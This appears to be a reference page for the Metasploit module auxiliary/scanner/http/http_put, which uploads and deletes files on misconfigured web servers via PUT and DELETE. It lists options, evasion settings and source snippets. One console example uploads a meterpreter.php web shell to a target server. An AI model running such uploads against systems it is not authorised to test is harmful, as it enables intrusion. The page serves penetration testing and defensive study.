HTTP Writable Path PUT/DELETE File Access - Metasploit

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Module Overview

Name: HTTP Writable Path PUT/DELETE File Access
Module: auxiliary/scanner/http/http_put
Source code: modules/auxiliary/scanner/http/http_put.rb
Disclosure date: -
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE. PUT is the default. If filename isn't specified, the module will generate a random string for you as a .txt file. If DELETE is used, a filename is required.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/http_put
msf auxiliary(http_put) > show options
    ... show and set options ...
msf auxiliary(http_put) > set RHOSTS ip-range
msf auxiliary(http_put) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(http_put) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(http_put) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(http_put) > set RHOSTS file:/tmp/ip_list.txt

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

msf > use auxiliary/scanner/http/http_put
msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23
RHOSTS => 1.1.1.23
msf auxiliary(scanner/http/http_put) > set RPORT 8585
RPORT => 8585
msf auxiliary(scanner/http/http_put) > set PATH /uploads
PATH => /uploads
msf auxiliary(scanner/http/http_put) > set FILENAME meterpreter.php
FILENAME => meterpreter.php
msf auxiliary(scanner/http/http_put) > set FILEDATA file://root/Desktop/meterpreter.php
FILEDATA => file://root/Desktop/meterpreter.php
msf auxiliary(scanner/http/http_put) > run 

[+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_put) >

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Msfconsole Usage

Here is how the scanner/http/http_put auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/http_put

msf6 auxiliary(scanner/http/http_put) > show info

       Name: HTTP Writable Path PUT/DELETE File Access
     Module: auxiliary/scanner/http/http_put
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Kashif <[email protected]>
  CG <[email protected]>
  sinn3r <[email protected]>

Available actions:
  Name    Description
  ----    -----------
  DELETE  Delete remote file
  PUT     Upload local file

Check supported:
  No

Basic options:
  Name      Current Setting        Required  Description
  ----      ---------------        --------  -----------
  ACTION    PUT                    yes       PUT or DELETE
  FILEDATA  msf test file          no        The data to upload into the file
  FILENAME  msf_http_put_test.txt  yes       The file to attempt to write or delete
  PATH      /                      yes       The path to attempt to write or delete
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     80                     yes       The target port (TCP)
  SSL       false                  no        Negotiate SSL/TLS for outgoing connections
  THREADS   1                      yes       The number of concurrent threads (max one per host)
  VHOST                            no        HTTP server virtual host

Description:
  This module can abuse misconfigured web servers to upload and delete 
  web content via PUT and DELETE HTTP requests. Set ACTION to either 
  PUT or DELETE. PUT is the default. If filename isn't specified, the 
  module will generate a random string for you as a .txt file. If 
  DELETE is used, a filename is required.

References:
  OSVDB (397)

Module Options

This is a complete list of options available in the scanner/http/http_put auxiliary module:

msf6 auxiliary(scanner/http/http_put) > show options

Module options (auxiliary/scanner/http/http_put):

   Name      Current Setting        Required  Description
   ----      ---------------        --------  -----------
   ACTION    PUT                    yes       PUT or DELETE
   FILEDATA  msf test file          no        The data to upload into the file
   FILENAME  msf_http_put_test.txt  yes       The file to attempt to write or delete
   PATH      /                      yes       The path to attempt to write or delete
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     80                     yes       The target port (TCP)
   SSL       false                  no        Negotiate SSL/TLS for outgoing connections
   THREADS   1                      yes       The number of concurrent threads (max one per host)
   VHOST                            no        HTTP server virtual host

Auxiliary action:

   Name  Description
   ----  -----------
   PUT   Upload local file

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/http_put auxiliary module:

msf6 auxiliary(scanner/http/http_put) > show advanced

Module advanced options (auxiliary/scanner/http/http_put):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/http_put module can do:

msf6 auxiliary(scanner/http/http_put) > show actions

Auxiliary actions:

   Name    Description
   ----    -----------
   DELETE  Delete remote file
   PUT     Upload local file

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/http_put auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/http_put) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP>: Error: <E.TO_S>

Here is a relevant code snippet related to the "<IP>: Error: <E.TO_S>" error message:

60:	          'ctype'  => 'text/plain',
61:	          'data'   => data,
62:	        }, 20
63:	      ).to_s
64:	    rescue ::Exception => e
65:	      print_error("#{ip}: Error: #{e.to_s}")
66:	      return nil
67:	    end
68:	
69:	    return (res =~ /#{data}/) ? true : false
70:	  end

<IP>: Error: <E.TO_S>

Here is a relevant code snippet related to the "<IP>: Error: <E.TO_S>" error message:

81:	          'ctype'  => 'text/plain',
82:	          'data'   => data,
83:	        }, 20
84:	      )
85:	    rescue ::Exception => e
86:	      print_error("#{ip}: Error: #{e.to_s}")
87:	      return nil
88:	    end
89:	
90:	    return res
91:	  end

<IP>: Error: <E.TO_S>

Here is a relevant code snippet related to the "<IP>: Error: <E.TO_S>" error message:

101:	          'method' => 'DELETE',
102:	          'ctype'  => 'text/html',
103:	        }, 20
104:	      )
105:	    rescue ::Exception => e
106:	      print_error("#{ip}: Error: #{e.to_s}")
107:	      return nil
108:	    end
109:	
110:	    return res
111:	  end

No filename specified. Using: <PATH>

Here is a relevant code snippet related to the "No filename specified. Using: <PATH>" error message:

126:	    case action.name
127:	    when 'PUT'
128:	      # Append filename if there isn't one
129:	      if path !~ /(.+\.\w+)$/
130:	        path << "#{Rex::Text.rand_text_alpha(5)}.txt"
131:	        vprint_status("No filename specified. Using: #{path}")
132:	      end
133:	
134:	      # Upload file
135:	      res = do_put(path, data, ip)
136:	      vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?

<IP>: Reply: <RES.CODE.TO_S>

Here is a relevant code snippet related to the "<IP>: Reply: <RES.CODE.TO_S>" error message:

131:	        vprint_status("No filename specified. Using: #{path}")
132:	      end
133:	
134:	      # Upload file
135:	      res = do_put(path, data, ip)
136:	      vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
137:	
138:	      # Check file
139:	      if not res.nil? and file_exists(path, data, ip)
140:	        turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
141:	        print_good("File uploaded: #{turl}")

<IP>: File doesn't seem to exist. The upload probably failed

Here is a relevant code snippet related to the "<IP>: File doesn't seem to exist. The upload probably failed" error message:

147:	          :info         => "Module #{self.fullname} confirmed write access to #{turl} via PUT",
148:	          :refs         => self.references,
149:	          :exploited_at => Time.now.utc
150:	        )
151:	      else
152:	        print_error("#{ip}: File doesn't seem to exist. The upload probably failed")
153:	      end
154:	
155:	    when 'DELETE'
156:	      # Check file before deleting
157:	      if path !~ /(.+\.\w+)$/

You must supply a filename

Here is a relevant code snippet related to the "You must supply a filename" error message:

153:	      end
154:	
155:	    when 'DELETE'
156:	      # Check file before deleting
157:	      if path !~ /(.+\.\w+)$/
158:	        print_error("You must supply a filename")
159:	        return
160:	      elsif not file_exists(path, data, ip)
161:	        print_error("File is already gone. Will not continue DELETE")
162:	        return
163:	      end

File is already gone. Will not continue DELETE

Here is a relevant code snippet related to the "File is already gone. Will not continue DELETE" error message:

156:	      # Check file before deleting
157:	      if path !~ /(.+\.\w+)$/
158:	        print_error("You must supply a filename")
159:	        return
160:	      elsif not file_exists(path, data, ip)
161:	        print_error("File is already gone. Will not continue DELETE")
162:	        return
163:	      end
164:	
165:	      # Delete our file
166:	      res = do_delete(path, ip)

<IP>: Reply: <RES.CODE.TO_S>

Here is a relevant code snippet related to the "<IP>: Reply: <RES.CODE.TO_S>" error message:

162:	        return
163:	      end
164:	
165:	      # Delete our file
166:	      res = do_delete(path, ip)
167:	      vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
168:	
169:	      # Check if DELETE was successful
170:	      if res.nil? or file_exists(path, data, ip)
171:	        print_error("#{ip}: DELETE failed. File is still there.")
172:	      else

<IP>: DELETE failed. File is still there.

Here is a relevant code snippet related to the "<IP>: DELETE failed. File is still there." error message:

166:	      res = do_delete(path, ip)
167:	      vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
168:	
169:	      # Check if DELETE was successful
170:	      if res.nil? or file_exists(path, data, ip)
171:	        print_error("#{ip}: DELETE failed. File is still there.")
172:	      else
173:	        turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
174:	        print_good("File deleted: #{turl}")
175:	        report_vuln(
176:	          :host         => ip,

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Related Pull Requests

• #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #7433 Merged Pull Request: Added IP addresses to the output
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #5059 Merged Pull Request: Yard doc corrections
• #2525 Merged Pull Request: Change module boilerplate
• #1417 Merged Pull Request: Improves normalize_uri(), and updates modules that are using it
• #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
• #1047 Merged Pull Request: Set normalize uri on modules
• #452 Merged Pull Request: Whitespace cleanup

References

• CVE: Not available
• OSVDB (397)

See Also

Check also the following modules related to this module:

• auxiliary/scanner/http/http_header
• auxiliary/scanner/http/http_hsts
• auxiliary/scanner/http/http_login
• auxiliary/scanner/http/http_sickrage_password_leak
• auxiliary/scanner/http/http_traversal
• auxiliary/scanner/http/http_version
• auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166
• auxiliary/fuzzers/http/http_form_field
• auxiliary/fuzzers/http/http_get_uri_long
• auxiliary/fuzzers/http/http_get_uri_strings
• auxiliary/gather/http_pdf_authors
• auxiliary/server/capture/http_basic
• auxiliary/server/capture/http_javascript_keylogger
• auxiliary/server/capture/http_ntlm
• auxiliary/server/http_ntlmrelay
• exploit/android/local/put_user_vroot
• exploit/windows/browser/samsung_security_manager_put
• exploit/windows/ftp/pcman_put
• exploit/windows/ssh/putty_msg_debug
• post/windows/gather/enum_putty_saved_sessions
• auxiliary/admin/dcerpc/samr_computer
• auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
• exploit/windows/browser/safari_xslt_output
• exploit/windows/ftp/globalscapeftp_input
• post/windows/gather/enum_ad_computers
• post/windows/gather/enum_computers
• post/windows/recon/computer_browser_discovery

Authors

• Kashif [at] compulife.com.pk
• CG
• sinn3r

Version

This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.

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